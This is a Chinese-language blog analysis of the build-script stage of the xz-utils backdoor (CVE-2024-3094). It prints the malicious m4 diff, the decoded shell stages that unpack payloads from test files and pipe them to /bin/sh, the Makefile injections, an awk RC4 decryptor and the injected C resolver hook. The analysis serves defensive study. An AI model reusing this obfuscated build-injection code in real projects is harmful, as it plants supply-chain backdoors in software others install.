CVE-2024-3094 从xz backdoor 中我们可以学到什么之脚本分析部分

admin 2024年4月19日02:20:58评论5 views字数 21701阅读72分20秒阅读模式

前言

博客链接:https://www.ch35tnut.com/zh-cn/vulnerability/cve-2024-3094-what-can-we-learn-from-xz-backdoor/part-1-script/

目前刚弄完脚本部分分析,先写一篇文章蹭一下这个漏洞尾气的热度,所以还没有写背景..etc

说实话这个脚本挺复杂的,由于对编译部分的不熟悉,其中走了点弯路,这里需要致谢以下国外顶尖安全研究员的分析,使得分析过程顺畅了很多。

可以在discord频道和他们交流,链接:https://discord.gg/TSD7H8Ww

从整体来看,攻击者对于Linux上的编译过程/工具极为熟悉,使用各种技巧来防止编译过程中后门被发现的可能,其中使用的技巧令人(我)惊叹。

仅仅通过分析这个脚本部分已经学到很多东西,非常建议读者能够一步步去分析这个脚本,这个漏洞/后门已然算得上分析过的最复杂的一个了,

在整理这篇文章时已经凌晨了,更多的写在后面的文章吧,更多分析可以关注博客。

分析

什么是IFUNC

根据解释,通过IFUNC,使得应用程序可以在运行时对函数进行重定向,通过编写解析器函数,在运行时通过解析器函数动态选择函数并执行、

CVE-2024-3094 从xz backdoor 中我们可以学到什么之脚本分析部分

攻击流程

CVE-2024-3094 从xz backdoor 中我们可以学到什么之脚本分析部分

图源:https://twitter.com/fr0gger_/status/1774342248437813525

环境准备

下载rpm源码https://kojipkgs.fedoraproject.org/packages/xz/

解压rpm源码包,获取源码

apt install rmp2cpio cpiorpm2cpio xz-5.4.6-3.fc41.src.rpm | cpio -idmv

参考

https://github.com/0xchrisw/xz-utils-backdoor

解压源码之后可以开始正式分析了。

configure

build-to-host.m4是一个正常的文件,可以通过安装gettext获得,攻击者修改了合法的脚本,在其中添加了恶意代码。

让我们开始分析build-to-host.m4干了什么,从源码中diff该脚本,结果如下

diff --git a/build-to-host.m4 b/5.6.1/xz-5.6.1/m4/build-to-host.m4index ad22a0a..d5ec315 100644--- a/build-to-host.m4+++ b/5.6.1/xz-5.6.1/m4/build-to-host.m4@@ -1,5 +1,5 @@-# build-to-host.m4 serial 3-dnl Copyright (C) 2023 Free Software Foundation, Inc.+# build-to-host.m4 serial 30+dnl Copyright (C) 2023-2024 Free Software Foundation, Inc. dnl This file is free software; the Free Software Foundation dnl gives unlimited permission to copy and/or distribute it, dnl with or without modifications, as long as this notice is preserved.@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],   dnl Define somedir_c.   gl_final_[$1]="$[$1]"+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*.//g"`   dnl Translate it from build syntax to host syntax.   case "$build_os" in     cygwin*)@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],   if test "$[$1]_c_make" = '"'"${gl_final_[$1]}"'"'; then     [$1]_c_make='"$([$1])"'   fi+  if test "x$gl_am_configmake" != "x"; then+    gl_[$1]_config='sed "rn" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'+  else+    gl_[$1]_config=''+  fi+  _LT_TAGDECL([], [gl_path_map], [2])dnl+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl   AC_SUBST([$1_c_make])++  dnl If the host conversion code has been placed in $gl_config_gt,+  dnl instead of duplicating it all over again into config.status,+  dnl then we will have config.status run $gl_config_gt later, so it+  dnl needs to know what name is stored there:+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval $gl_[$1]_config"]) ]) dnl Some initializations for gl_BUILD_TO_HOST. AC_DEFUN([gl_BUILD_TO_HOST_INIT], [+  dnl Search for Automake-defined pkg* macros, in the order+  dnl listed in the Automake 1.10a+ documentation.+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`+  if test -n "$gl_am_configmake"; then+    HAVE_PKG_CONFIGMAKE=1+  else+    HAVE_PKG_CONFIGMAKE=0+  fi+   gl_sed_double_backslashes='s/\/\\/g'   gl_sed_escape_doublequotes='s/"/\"/g'+  gl_path_map='tr "t -_" " t_-"' changequote(,)dnl   gl_sed_escape_for_make_1="s,\([ "&'();<>\\`|]\),\\\1,g"

前置知识

AC_DEFUN定义一个宏,里面可以包含指令。AC_REQUIRE用来引入定义好的宏,引入后会在当前宏执行前执行引入的宏。

所以会先执行如下命令

  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`  if test -n "$gl_am_configmake"; then    HAVE_PKG_CONFIGMAKE=1  else    HAVE_PKG_CONFIGMAKE=0  fi

其命令在目标目录执行结果如下,所以脚本会设置gl_am_configmake=./tests/files/bad-3-corrupt_lzma2.xzHAVE_PKG_CONFIGMAKE=1

➜  xz-5.6.1 grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null./tests/files/bad-3-corrupt_lzma2.xz

继续解析脚本,gl_path_map被设置为tr "t -_" " t_-"命令。

gl_path_map='tr "t -_" " t_-"'

前面知道gl_am_configmake=./tests/files/bad-3-corrupt_lzma2.xz。所以可以得到gl_[$1]_prefix=xz,所以会进入到if内执行下个命令。

...gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*.//g"`...  if test "x$gl_am_configmake" != "x"; then    gl_[$1]_config='sed "rn" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'  else    gl_[$1]_config=''  figl_[$1]_config='sed "rn" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

这里sed相当于cat,因为尝试使用r命令读取一个文件,但n文件并不存在,所以会打印$gl_am_configmake,将变量展开,这条命令实际上是

cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "t -_" " t_-" | xz -d 2>/dev/null

最后使用AC_CONFIG_COMMANDS定义了一个宏,在该宏中会运行gl_[$1]_config,这个宏会在configure脚本运行时执行。

  _LT_TAGDECL([], [gl_path_map], [2])dnl  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl  _LT_TAGDECL([], [gl_am_configmake], [2])dnl  _LT_TAGDECL([], [[$1]_c_make], [2])dnl  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl  AC_SUBST([$1_c_make])  dnl If the host conversion code has been placed in $gl_config_gt,  dnl instead of duplicating it all over again into config.status,  dnl then we will have config.status run $gl_config_gt later, so it  dnl needs to know what name is stored there:  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval $gl_[$1]_config"])

让我们手动执行,将得到如下执行结果:

**➜  xz-5.6.1 cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "t -_" " t_-" | xz -d 2>/dev/null####Hello#####�U��$�[ ! $(uname) = "Linux" ] && exit 0[ ! $(uname) = "Linux" ] && exit 0[ ! $(uname) = "Linux" ] && exit 0[ ! $(uname) = "Linux" ] && exit 0[ ! $(uname) = "Linux" ] && exit 0eval `grep ^srcdir= config.status`if test -f ../../config.status;theneval `grep ^srcdir= ../../config.status`srcdir="../../$srcdir"fiexport i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "114-321322-37735-4714-34-1350-113" "-377")|xz -F raw --lzma1 -dc|/bin/sh####World####

而这条命令在5.6.0版本上执行结果略有不同

➜  xz-5.6.0 cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "t -_" " t_-" | xz -d 2>/dev/null####Hello#####��Z�.hj�eval `grep ^srcdir= config.status`if test -f ../../config.status;theneval `grep ^srcdir= ../../config.status`srcdir="../../$srcdir"fiexport i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "5-51204-37752-115132-203-4116-131" "-377")|xz -F raw --lzma1 -dc|/bin/sh####World####

让我们来分析以下这两个执行结果之间的区别。首先显而易见的是5.6.1的后门只在Linux上执行。其次最后一个head命令的偏移量不同(939/724)。tr命令的参数也不同。

很明显提取出来的脚本会读取tests/files/good-large_compressed.lzma,并使用head命令将打乱的压缩数据重新组装,并使用tr命令进行替换后得到正确的压缩数据,最后使用xz解压缩。并将解压缩后的代码交给/bin/sh解释

让我们手动执行该命令(基于5.6.1)可以发现解压出来的是一段shell脚本。

(xz -dc ./tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "114-321322-37735-4714-34-1350-113" "-377")|xz -F raw --lzma1 -dc# below is outputP="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"C="pic_flag=" $P""O="^pic_flag=" -fPIC -DPIC"$"R="is_arch_extension_supported"x="__get_cpuid("p="good-large_compressed.lzma"U="bad-3-corrupt_lzma2.xz"[ ! $(uname)="Linux" ] && exit 0eval $zrKcVqif test -f config.status; theneval $zrKcSS......

逐一分析这段shell脚本。首先脚本会设置一堆环境变量,设置完成之后检查了当前系统是否是Linux,不是Linux则退出

[ ! $(uname)="Linux" ] && exit 0

而后执行eval,但在这之前并未设置$zrKcVq,所以这句代码什么也不干,或许这行代码可以用于以后调试或拓展功能1

eval $zrKcVq

之后测试config.status文件是否存在,如果存在则使用grep并通过正则表达式在config.status文件中寻找响应的行,并通过eval执行,这相当于设置了一些环境变量。

if test -f config.status; theneval $zrKcSSeval `grep ^LD='/ config.status`eval `grep ^CC=' config.status`eval `grep ^GCC=' config.status`eval `grep ^srcdir=' config.status`eval `grep ^build='x86_64 config.status`eval `grep ^enable_shared='yes' config.status`eval `grep ^enable_static=' config.status`eval `grep ^gl_path_map=' config.status`vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`if test "x$vs" != "x" > /dev/null 2>&1;thenf1=`echo $vs | cut -d: -f1`if test "x$f1" != "x" > /dev/null 2>&1;thenstart=`expr $(echo $vs | cut -d: -f2) + 7`ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`if test "x$ve" != "x" > /dev/null 2>&1;thenf2=`echo $ve | cut -d: -f1`if test "x$f2" != "x" > /dev/null 2>&1;then[ ! "x$f2" = "x$f1" ] && exit 0[ ! -f $f1 ] && exit 0end=`expr $(echo $ve | cut -d: -f2) - $start`eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "5-51204-37752-115132-203-4116-131" "-377" | xz -F raw --lzma2 -dc`fifififi

注意到其中含有两个包含神秘正则表达式的命令:grep -broaF '~!:_ W' $srcdir/tests/files/grep -broaF '|_!{ -' $srcdir/tests/files/

梳理其逻辑会发现跟从good-large_compressed.lzma提取脚本类似,会从项目中匹配满足正则表达式的文件,如果找到了相应的文件则会进行一系列剪切组装的操作,解压并尝试从其中提取脚本而后执行。

在项目目录下执行,很明显,不会有相应的文件被匹配到。设置这个会方便攻击者拓展功能,而不必更新现有的二进制文件,只需要添加新的测试文件即可1

之后执行下面的代码,通过两种方式分别从config.statusconfig.h文件中查询是否启用ifunc,如果没有则会退出,因为ifunc是后门能够hook函数的关键。

if ! grep -qs '["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"' config.status > /dev/null 2>&1;thenexit 0fiif ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;thenexit 0

确认共享库是否已启用

if test "x$enable_shared" != "xyes";thenexit 0fi

确认当前系统是否是x86-64以及是否是glibc系统

eval `grep ^build='x86_64 config.status`if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);thenexit 0

确认源码中含有后门必须的代码,代码在ee44863ae88e377a5df10db007ba9bfadde3d314引入,引入的代码实现了针对CRC32的IFUNC。

if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc64_fast.c > /dev/null 2>&1; thenexit 0fiif ! grep -qs "$R()" $srcdir/src/liblzma/check/crc32_fast.c > /dev/null 2>&1; thenexit 0fiif ! grep -qs "$R" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; thenexit 0fiif ! grep -qs "$x" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; thenexit 0

编译需要gcc和ld

if test "x$GCC" != 'xyes' > /dev/null 2>&1;thenexit 0fiif test "x$CC" != 'xgcc' > /dev/null 2>&1;thenexit 0fiLDv=$LD" -v"if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;thenexit 0

需要包含含有后门的测试文件

p="good-large_compressed.lzma"U="bad-3-corrupt_lzma2.xz"if ! test -f "$srcdir/tests/files/$p" > /dev/null 2>&1;thenexit 0fiif ! test -f "$srcdir/tests/files/$U" > /dev/null 2>&1;thenexit 0

在构建deb包时,dpkg-buildpackage会生成debian/rules目录,构建RPM包时会有环境变量RPM_ARCH = "xx86_64"。所以当处于构建deb或者RPM包时,能通过if判断,脚本会进入if语句内执行一堆检查,以确认Makefile中是否包含后门所需修改的行。

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";theneval $zrKcstj="^ACLOCAL_M4 = $(top_srcdir)/aclocal.m4"if ! grep -qs "$j" src/liblzma/Makefile > /dev/null 2>&1;thenexit 0fiz="^am__uninstall_files_from_dir = {"if ! grep -qs "$z" src/liblzma/Makefile > /dev/null 2>&1;thenexit 0fiw="^am__install_max ="if ! grep -qs "$w" src/liblzma/Makefile > /dev/null 2>&1;thenexit 0fiE=$zif ! grep -qs "$E" src/liblzma/Makefile > /dev/null 2>&1;thenexit 0fiQ="^am__vpath_adj_setup ="if ! grep -qs "$Q" src/liblzma/Makefile > /dev/null 2>&1;thenexit 0fiM="^am__include = include"if ! grep -qs "$M" src/liblzma/Makefile > /dev/null 2>&1;thenexit 0fiL="^all: all-recursive$"if ! grep -qs "$L" src/liblzma/Makefile > /dev/null 2>&1;thenexit 0fim="^LTLIBRARIES = $(lib_LTLIBRARIES)"if ! grep -qs "$m" src/liblzma/Makefile > /dev/null 2>&1;thenexit 0fiu="AM_V_CCLD = $(am__v_CCLD_$(V))"if ! grep -qs "$u" src/liblzma/Makefile > /dev/null 2>&1;thenexit 0fi

下面的命令会检查是否开启-fPIC(位置无关代码)

O="^pic_flag=" -fPIC -DPIC"$"if ! grep -qs "$O" libtool > /dev/null 2>&1;thenexit 0fi

接下来就开始修改项目的Makefile,使用sed -i修改文件,让我们展开变量看看最终的命令是什么。

j="^ACLOCAL_M4 = $(top_srcdir)/aclocal.m4"U="bad-3-corrupt_lzma2.xz"b="am__test = $U"sed -i "/$j/i$b" src/liblzma/Makefile || true# finallysed -i /^ACLOCAL_M4 = $(top_srcdir)/aclocal.m4/iam__test = bad-3-corrupt_lzma2.xz src/liblzma/Makefile || true#resultam__test = bad-3-corrupt_lzma2.xzACLOCAL_M4 = $(top_srcdir)/aclocal.m4

作为一个shell新手,其实在这里会有一个疑问,为什么在sed命令之后要添加|| true,将这个问题扔给AI,解释如下:

|| true 的存在是为了防止 sed 命令失败时导致整个脚本退出。在 Shell 脚本中,如果一个命令失败(即,它的退出状态不是 0),那么整个脚本会立即退出。|| true 可以防止这种情况,即使 sed命令失败,脚本也会继续执行。这是因为 true 命令总是成功的,所以 || true 总是成功的。

也就是会找到ACLOCAL_M4所在的行,并在其前面插入一行am__test = bad-3-corrupt_lzma2.xz

接下来会继续修改Makefile,在am__install_max所在的行前插入一条命令

d=`echo $gl_path_map | sed 's/\/\\\\/g'`b="am__strip_prefix = $d"sed -i "/$w/i$b" src/liblzma/Makefile || true#resultam__strip_prefix = tr "   -_" "   _-"am__install_max = 40

接下来继续修改。

b="am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL)"sed -i "/$E/i$b" src/liblzma/Makefile || trueb="$(top_srcdir)/tests/files/$(am__test)"s="am__test_dir=$b"sed -i "/$Q/i$s" src/liblzma/Makefile || true

最终会在Makefile里面插入以下代码

am__test = bad-3-corrupt_lzma2.xzam__test_dir=$(top_srcdir)/tests/files/$(am__test)am__strip_prefix = tr "   -_" "   _-"am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL)

结束上面的操作之后,脚本会尝试找到编译参数LDFLAGS,并寻找里面是否含有-z,now-z -Wl,now如果没有则会将其和另外的一些编译参数一起添加到liblzma_la_LDFLAGS

h="-Wl,--sort-section=name,-X"if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;thenh=$h",-z,now"fij="liblzma_la_LDFLAGS += $h"sed -i "/$L/i$j" src/liblzma/Makefile || true

其中-z -Wl,now是gcc的链接器的参数,通过添加这个参数可以让链接器在程序启动时立即加载所有so并解析所有符号,通常来说这是用于加强程序安全性的选项,而不是按需加载。

它还具有在解析过程中启动时运行 GNU 间接函数 (ifunc) 解析器的效果,并且后门安排从其中之一调用。后门设置的早期调用使其在表仍然可写时运行,从而允许后门用自己的版本替换 RSA_public_decrypt 的条目1

sed -i "s/$O/$C/g" libtool || true#resultpic_flag=" -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"

脚本接下会将libtool中的pic_flag添加 -fno-lto -ffunction-sections -fdata-sections,添加的参数会禁用链接时间优化,

k="AM_V_CCLD = @echo -n $(LTDEPS); $(am__v_CCLD_$(V))"sed -i "s/$u/$k/" src/liblzma/Makefile || truel="LTDEPS='$(lib_LTDEPS)'; \\n    export top_srcdir='$(top_srcdir)'; \\n    export CC='$(CC)'; \\n    export DEFS='$(DEFS)'; \\n    export DEFAULT_INCLUDES='$(DEFAULT_INCLUDES)'; \\n    export INCLUDES='$(INCLUDES)'; \\n    export liblzma_la_CPPFLAGS='$(liblzma_la_CPPFLAGS)'; \\n    export CPPFLAGS='$(CPPFLAGS)'; \\n    export AM_CFLAGS='$(AM_CFLAGS)'; \\n    export CFLAGS='$(CFLAGS)'; \\n    export AM_V_CCLD='$(am__v_CCLD_$(V))'; \\n    export liblzma_la_LINK='$(liblzma_la_LINK)'; \\n    export libdir='$(libdir)'; \\n    export liblzma_la_OBJECTS='$(liblzma_la_OBJECTS)'; \\n    export liblzma_la_LIBADD='$(liblzma_la_LIBADD)'; \\nsed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1";sed -i "/$m/i$l" src/liblzma/Makefile || trueeval $zrKcHD

接下来脚本会先在Makefile中添加一行AM_V_CCLD = @echo -n $(LTDEPS); $(am__v_CCLD_$(V))而后在Makefile中添加下面的shell脚本

LTDEPS='$(lib_LTDEPS)';     export top_srcdir='$(top_srcdir)';     export CC='$(CC)';     export DEFS='$(DEFS)';     export DEFAULT_INCLUDES='$(DEFAULT_INCLUDES)';     export INCLUDES='$(INCLUDES)';     export liblzma_la_CPPFLAGS='$(liblzma_la_CPPFLAGS)';     export CPPFLAGS='$(CPPFLAGS)';     export AM_CFLAGS='$(AM_CFLAGS)';     export CFLAGS='$(CFLAGS)';     export AM_V_CCLD='$(am__v_CCLD_$(V))';     export liblzma_la_LINK='$(liblzma_la_LINK)';     export libdir='$(libdir)';     export liblzma_la_OBJECTS='$(liblzma_la_OBJECTS)';     export liblzma_la_LIBADD='$(liblzma_la_LIBADD)'; sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

实际上这里的sed rpath跟前面的sed "rn"一样,充当cat的作用,所以这句命令实际上是

cat tests/files/bad-3-corrupt_lzma2.xz | tr "   -_" "   _-" | xz -d 2>/dev/null | /bin/sh

很明显,脚本又从good-large_compressed.lzma解密出自己,并执行,相当于递归执行。乍一看这脚本貌似会一直循环解密、执行、解密、执行,像一个zip炸弹一样,直到系统资源耗尽。但很明显攻击者不会犯这样明显的错误。

让我们仔细分析一下,在第二次运行时,他已经不是被./configure启动,而是在make时由make从Makefile中读取并执行,根据make原理,第二次运行脚本命令所在的目录不是项目根目录而是src/liblzma,所以在前面设置完环境变量后,在第一个if判断时,找不到config.status文件,会跳过if内的语句,尝试执行elif内的语句。

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

而判断构建deb包所在的if处于第一个if内,所以并不会再次解压运行。

elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o)

Make

在elif中首先校验liblzma_la-crc64_fast.o是否存在,这是由src/liblzma/check/crc32_fast.c编译生成,即判断当前是否处在Make过程中。

   vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`    if test "x$vs" != "x" > /dev/null 2>&1;then        f1=`echo $vs | cut -d: -f1`        if test "x$f1" != "x" > /dev/null 2>&1;then            start=`expr $(echo $vs | cut -d: -f2) + 7`            ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`            if test "x$ve" != "x" > /dev/null 2>&1;then                f2=`echo $ve | cut -d: -f1`                if test "x$f2" != "x" > /dev/null 2>&1;then                    [ ! "x$f2" = "x$f1" ] && exit 0                    [ ! -f $f1 ] && exit 0                    end=`expr $(echo $ve | cut -d: -f2) - $start`                    eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "5-51204-37752-115132-203-4116-131" "-377" | xz -F raw --lzma2 -dc`                fi            fi        fi    fi    eval $zrKcKQ    if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc64_fast.c; then        exit 0    fi    if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc32_fast.c; then        exit 0    fi    if ! grep -qs "$R" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then        exit 0    fi    if ! grep -qs "$x" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then        exit 0    fi    if ! grep -qs "$C" ../../libtool; then        exit 0    fi    if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then        exit 0    fi    if echo $liblzma_la_LINK | grep -qs -e "lazy" > /dev/null 2>&1;then        exit 0    fi

跟前面一样,脚本会尝试寻找符合正则表达式'jV!.^%'%.R.1Z的测试文件,如果存在则会尝试从中提取脚本并执行,当然目前来说还不存在。而后脚本会判断一系列文件是否存在,这些文件是后门所依赖的。

判断编译标志中是否含有之前注入的编译标志,以及是否含有lazy标志,这个标志和-z,now冲突

-z lazy(默认):动态链接器将推迟函数符号的解析,直到程序第一次调用函数时。这被称为 “lazy binding”,可以加快程序的启动时间,但可能会导致稍微的运行时开销,因为需要在运行时解析符号。

    N=0    W=0    Y=`grep "dnl Convert it to C string syntax." $top_srcdir/m4/gettext.m4`    eval $zrKcjv    if test -z "$Y"; then        N=0        W=88664    else        N=88664        W=0    fi

尝试在m4/gettext.m中寻找dnl Convert it to C string syntax,根据寻找结果确定变量的值,在样本tar包中的gettext.m4并不存在该字符串所以最终结果是N=0 W=88664

    xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/(.)/1n/g" 

这里p="good-large_compressed.lzma",而i正是前面从export的通过head从good-large_compressed.lzma中提取数据的一小段脚本,这里在提取之后通过sed命令在每个字节后面插入一个换行而后通过管道传递给后面的命令。

m="^LTLIBRARIES = $(lib_LTLIBRARIES)"LC_ALL=C awk 'BEGIN{  FS="n";  RS="n";  ORS="";  m=256;  for(i=0;i<m;i++){    t[sprintf("x%c",i)]=i;    c[i]=((i*7)+5)%m;  }  i=0;  j=0;  for(l=0;l<8192;l++){    i=(i+1)%m;    a=c[i];    j=(j+a)%m;    c[i]=c[j];    c[j]=a;  }}{  v=t["x" (NF<1?RS:$1)];  i=(i+1)%m;  a=c[i];  j=(j+a)%m;  b=c[j];  c[i]=b;  c[j]=a;  k=c[(a+b)%m];  printf "%c",(v+k)%m}' |

这里通过awk在命令行实现了RC4算法2

 xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true    if ! test -f liblzma_la-crc64-fast.o; then        exit 0    fi

在通过RC算法解密之后,通过管道传递给xz进行解压缩,在通过head命令跳过某个数量的字节,在本例中N为0,即不跳过,将88664个字节的数据写入到liblzma_la-crc64-fast.o

if ! test -f liblzma_la-crc64-fast.o; then        exit 0    fi

之后检查是否写入成功, 如果写入失败则退出脚本。

    cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true

将.libs目录的liblzma_la-crc64_fast.o复制为liblzma_la-crc64-fast.o,这是在.libs目录下,不是在脚本当前目录下,所以这是复制make编译出来的文件,而不是刚刚释放的恶意文件

V='#endifn#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))nextern int _get_cpuid(int, void*, void*, void*, void*, void*);nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }n#elsen#define _is_arch_extension_supported is_arch_extension_supported'eval $yosAif sed "/return is_arch_extension_supported()/ creturn _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | sed "/include "crc_x86_clmul.h"/a \$V" | sed "1i # 0 "$top_srcdir/src/liblzma/check/crc64_fast.c"" 2>/dev/null | $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c -  $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then

这段脚本定义了变量V,其值很明显为一段C代码,而后通过sed组合了一段代码,通过管道传递给了$CC的标准输入。

而$CC 含有参数-r liblzma_la-crc64-fast.o-x -c -,意味着编译器会从标准输入读取C代码,将输入的liblzma_la-crc64-fast.o和从标准输入读取的代码编译后的.o文件合并到生成的对象文件中,这一步可以将攻击者的恶意代码得以插入到生成的so中。

AI关于gcc -r参数的解释

GCC 的 -r 或者 --relocatable 参数用于生成可重定位的目标文件。这意味着生成的 .o 文件可以和其他 .o 文件链接在一起生成一个新的 .o 文件。

如果将if去掉,手动运行得到的C代码,并将其和原代码difff可得

1d0< # 0 "./src/liblzma/check/crc64_fast.c"21,26d19< #if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))< extern int _get_cpuid(int, void*, void*, void*, void*, void*);< static inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }< #else< #define _is_arch_extension_supported is_arch_extension_supported< #endif112c105< return _is_arch_extension_supported()--->       return is_arch_extension_supported()

很明显,在传递给gcc的恶意c代码中声明了static inline bool _is_arch_extension_supported(void)和外部函数int _get_cpuid(int, void*, void*, void*, void*, void*);并且实现ifunc功能的crc64_resolve函数调用插入的_is_arch_extension_supported函数,而_is_arch_extension_supported调用了_get_cpuid函数。

_get_cpuid由传递给gcc的恶意.o文件导出的。关于这个恶意文件后面再分析,我们接着分析这个恶意脚本。

cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || trueeval $BPepif sed "/return is_arch_extension_supported()/ creturn _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c | sed "/include "crc32_arm64.h"/a \$V" | sed "1i # 0 "$top_srcdir/src/liblzma/check/crc32_fast.c"" 2>/dev/null | $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c -  $P -o .libs/liblzma_la-crc32_fast.o; then

这段代码跟前面那段代码一样,对crc32_fast32进行了一波操作,但没有插入后门代码。

